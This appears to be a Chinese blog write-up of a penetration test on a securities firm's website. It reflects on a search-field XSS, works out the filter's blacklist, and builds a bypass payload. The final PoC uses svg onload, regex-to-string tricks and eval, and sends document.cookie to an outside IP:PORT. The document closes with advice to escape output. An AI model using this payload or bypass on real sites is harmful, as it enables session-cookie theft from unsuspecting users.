对某证券集团网站进行渗透测试时,在反射型XSS高发区——搜索处进行检测。

- 回显点确认

搜索任意字符串,检查元素:

那就直接闭合DIV试试:


闭合成功,但注意到仍然搜索到两篇文章。猜测有无害性检测,用了自定义的黑名单。

- 黑名单排查

检测语句:
?keyword=</div><script>alert(1)</script><div>
检测结果:不通过,直接不返回HTTP响应包。

后经逐一排查,script与alert两单词均在黑名单(大小写无关)

检测语句:?keyword=<img/src="site"%2bdocument.cookie>
检测结果:document、单双引号均在黑名单(结果均为无响应包,就不重复贴图了)

检测语句:?keyword=<img/onerror=String.fromCharCode(97,108,101,114,116,40,49,41)>
检测结果:经逐一排查,string,fromCharCode,onerror均在黑名单

经过其它测试,黑名单大致为:window,cookie,script,alert,document,confirm,string,fromcharcode,onerror,单双引号,加号,分号。

- 寻找突破点

首先,我们需要找到一个合法元素,它能执行一行或多行JS语句。由于img元素诸属性受黑名单限制或间接限制,因此选用<svg/onload>执行JS。
其次,由于没有单双引号和分号,onload属性后面只能接一个函数才能让HTML正常解析。两个函数以上是不行的(例如空格或者&&之类的写法,会导致svg直接不被渲染),经过测试eval不在黑名单中,可用于执行特定构造语句。
最后的难点便是构造字符串对象了。可以看到,由于单双引号、String直接被黑名单了,我们无论是用于eval的代码串或者用于反弹cookie的VPS地址都需要字符串对象。在这里需要一个不用引号或者string来获得可控字符串实例的方法。

正一筹莫展的时候,想起了JS的正则表达式对象。

可以看到,/XSS/本身并不是字符串对象,但是toString()后是“/XSS/”,不过String是黑名单。那就需要一些字符串处理函数了,它能调用对象的toString方法,最好有办法还原字符串。于是想到base64:

看来达到了目的。经过测试slice、concat没有被过滤(这点也比较重要,因为通过这种方式获得的字符串头尾均有斜杠,同时加号被过滤需要解决字符串连接)。如此一来,我们便可以在eval中执行任意的代码了。

- 构造PoC

PoC:?keyword=%3Csvg/onload=location.href=atob(btoa(/http:/)).slice(1).concat(/IP:PORT/).concat(eval(atob(btoa(/docum/)).slice(1,-1).concat(atob(btoa(/ent.cookie/)).slice(1,-1))))%3E

利用成功

- 总结

由此看来,防范XSS不要依赖黑名单,最好在回显出进行转义。
本人也非常菜,这算作一次学习经历吧。

源链接

Hacking more

...